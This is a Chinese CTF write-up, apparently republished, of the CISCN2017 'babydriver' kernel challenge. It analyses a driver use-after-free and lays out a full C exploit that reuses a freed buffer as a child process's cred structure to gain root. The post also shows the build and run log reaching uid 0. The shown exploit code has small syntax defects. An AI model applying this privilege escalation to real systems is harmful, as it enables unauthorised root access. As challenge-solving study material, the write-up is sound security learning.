kernel pwn-kernel UAF

Posted Nullan

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了kernel pwn-kernel UAF相关的知识,希望对你有一定的参考价值。

不同于用户态pwn,内核pwn就不是用python远程拿shell,而是给一个环境包,下载qemu本地起系统。给定以下文件
boot.sh: 一个用于启动 kernel 的 shell 的脚本,多用 qemu,保护措施与 qemu 不同的启动参数有关
bzImage: kernel binary rootfs.cpio: 文件系统映像

一些指令要记载一下:
insmod: 讲指定模块加载到内核中
rmmod: 从内核中卸载指定模块
lsmod: 列出已经加载的模块
modprobe: 添加或删除模块,modprobe 在加载模块时会查找依赖关系

内核UAF的题
解压一下文件

看一下解压出来的文件

vim查看init文件

看到十二行,就是加载babydriver.ko文件,那就把这个拖出来单独查看

没有开 PIE,无 canary 保护,没有去除符号表
然后用ida分析
babyioctl函数:

V3是输入的size,babyioctl函数会free掉babydev_struct的device_buf
然后根据size重新分配一个区域,并且记录size,iotcl函数第一个参数是文件描述符,第二个参数就是指令

babyopen函数:

申请一块0x40的内存空间,返回地址存储在全局变量 babydev_struct.device_buf 上,并更新 babydev_struct.device_buf_len为0x40
babyread函数

要看一下是不是已经分配的device_buf_len大于输入v4,否则的话存不进去
然后就把babydev_struct.device_buf 中的数据拷贝到 buffer 中,buffer和v4都是输入的参数

babywrite函数:

和上面的babyread差不多,只不过是把buffer的拷贝给struct_buf的

babyrelease函数:
释放函数

init和exit都是初始化和退出函数

思路:
Linux kernel 使用slab/slub来分配内存,与glibc下的ptmalloc相同点是,如果在空闲的堆里存在符合申请的大小的堆,则直接把这个堆处理后返回给申请方。
内核的UAF往往是出现在多线程多进程多文件的情况下,当我们打开一个程序,free掉cred结构大小的堆块,然后fork一个子进程,它在申请cred的时候就会申请这一个堆块,利用UAF,把cred结构里的uid、gid等覆盖为0,即可提权
4.4.72 的 cred 结构体 定义 如下:

struct cred {
    atomic_t    usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
    atomic_t    subscribers;    /* number of processes subscribed */
    void        *put_addr;
    unsigned    magic;
#define CRED_MAGIC  0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
    kuid_t      uid;        /* real UID of the task */
    kgid_t      gid;        /* real GID of the task */
    kuid_t      suid;       /* saved UID of the task */
    kgid_t      sgid;       /* saved GID of the task */
    kuid_t      euid;       /* effective UID of the task */
    kgid_t      egid;       /* effective GID of the task */
    kuid_t      fsuid;      /* UID for VFS ops */
    kgid_t      fsgid;      /* GID for VFS ops */
    unsigned    securebits; /* SUID-less security management */
    kernel_cap_t    cap_inheritable; /* caps our children can inherit */
    kernel_cap_t    cap_permitted;  /* caps we're permitted */
    kernel_cap_t    cap_effective;  /* caps we can actually use */
    kernel_cap_t    cap_bset;   /* capability bounding set */
    kernel_cap_t    cap_ambient;    /* Ambient capability set */
#ifdef CONFIG_KEYS
    unsigned char   jit_keyring;    /* default keyring to attach requested
                     * keys to */
    struct key __rcu *session_keyring; /* keyring inherited over fork */
    struct key  *process_keyring; /* keyring private to this process */
    struct key  *thread_keyring; /* keyring private to this thread */
    struct key  *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
    void        *security;  /* subjective LSM security */
#endif
    struct user_struct *user;   /* real user ID subscription */
    struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
    struct group_info *group_info;  /* supplementary groups for euid/fsgid */
    struct rcu_head rcu;        /* RCU deletion hook */
};

所以说思路如下
利用两次ioctl,把堆块大小改成cred结构体大小
释放其中一个,然后fork一个子进程,新进程的cred就是之前释放的cred
然后用之前两次ioctl得到的另一个文件描述符修改空间,改gid和uid为0

本题的linux内核版本为4.4.72,cred结构大小为0xA8。

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <stropts.h>
#include <sys/wait.h>
#include <sys/stat.h>

int main()
{
	int fd1 = open('/dev/babydev',2);
	int fd2 = open('/dev/babydev',2);
	//open twice
	ioctl(fd1,0x10001,0xa8);
	//edit babydev_struct.device_buf_len with sizeof(struct_cred)
	
	close(fd1);
	//free fd1
	
	int pid = fork();
	//fork a pid and alloc babydev_struct that has been freed
	if(pid<0)
	{
		puts("[*] fork error!");
		exit(0);
	}

	else if(pid == 0)
	{
		//let uid gid be 0 by editing fd2
		char zeros[30] = {0};
		write(fd2,zeros,28);

		if(getuid() == 0)
		{
			puts("root now");
			system("/bin/sh");
			exit(0);
		}
	}
	else
	{
		wait(NULL);
	}
	close(fd2);

然后静态解压就行了

// 静态编译文件,kernel 中没有 libc
CISCN2017_babydriver [master] gcc exploit.c -static -o exploit
CISCN2017_babydriver [master] file exploit
exploit: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=90aabed5497b6922fda3d5118e4aa9cb2fa5ccc5, not stripped
// 把编译好的 exp 解压后的目录下,重新打包 rootfs.cpio
CISCN2017_babydriver [master] cp exploit core/tmp 
CISCN2017_babydriver [master] cd core 
core [master] find . | cpio -o --format=newc > rootfs.cpio
7017 块
core [master] cp rootfs.cpio ..
core [master] cd ..
// kvm 需要有 root 权限
CISCN2017_babydriver [master●●] sudo ./boot.sh
......
......

/ $ ls /tmp/
exploit
/ $ id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
/ $ /tmp/exploit
[   14.376187] device open
[   14.376715] device open
[   14.377201] alloc done
[   14.377629] device release
[+] root now.
/ # id
uid=0(root) gid=0(root) groups=1000(ctf)
/ #

以上是关于kernel pwn-kernel UAF的主要内容,如果未能解决你的问题,请参考以下文章

linux_kernel_uaf漏洞利用实战

pwnable.kr uaf

FortiManager & FortiAnalyzer UAF远程代码执行漏洞(CVE-2021-32589)预警

iOS的UAF错误到底是什么错误

IE UAF 漏洞(CVE-2012-4969)漏洞分析与利用

"arch/arm/kernel/head.S"里面一点片段的理解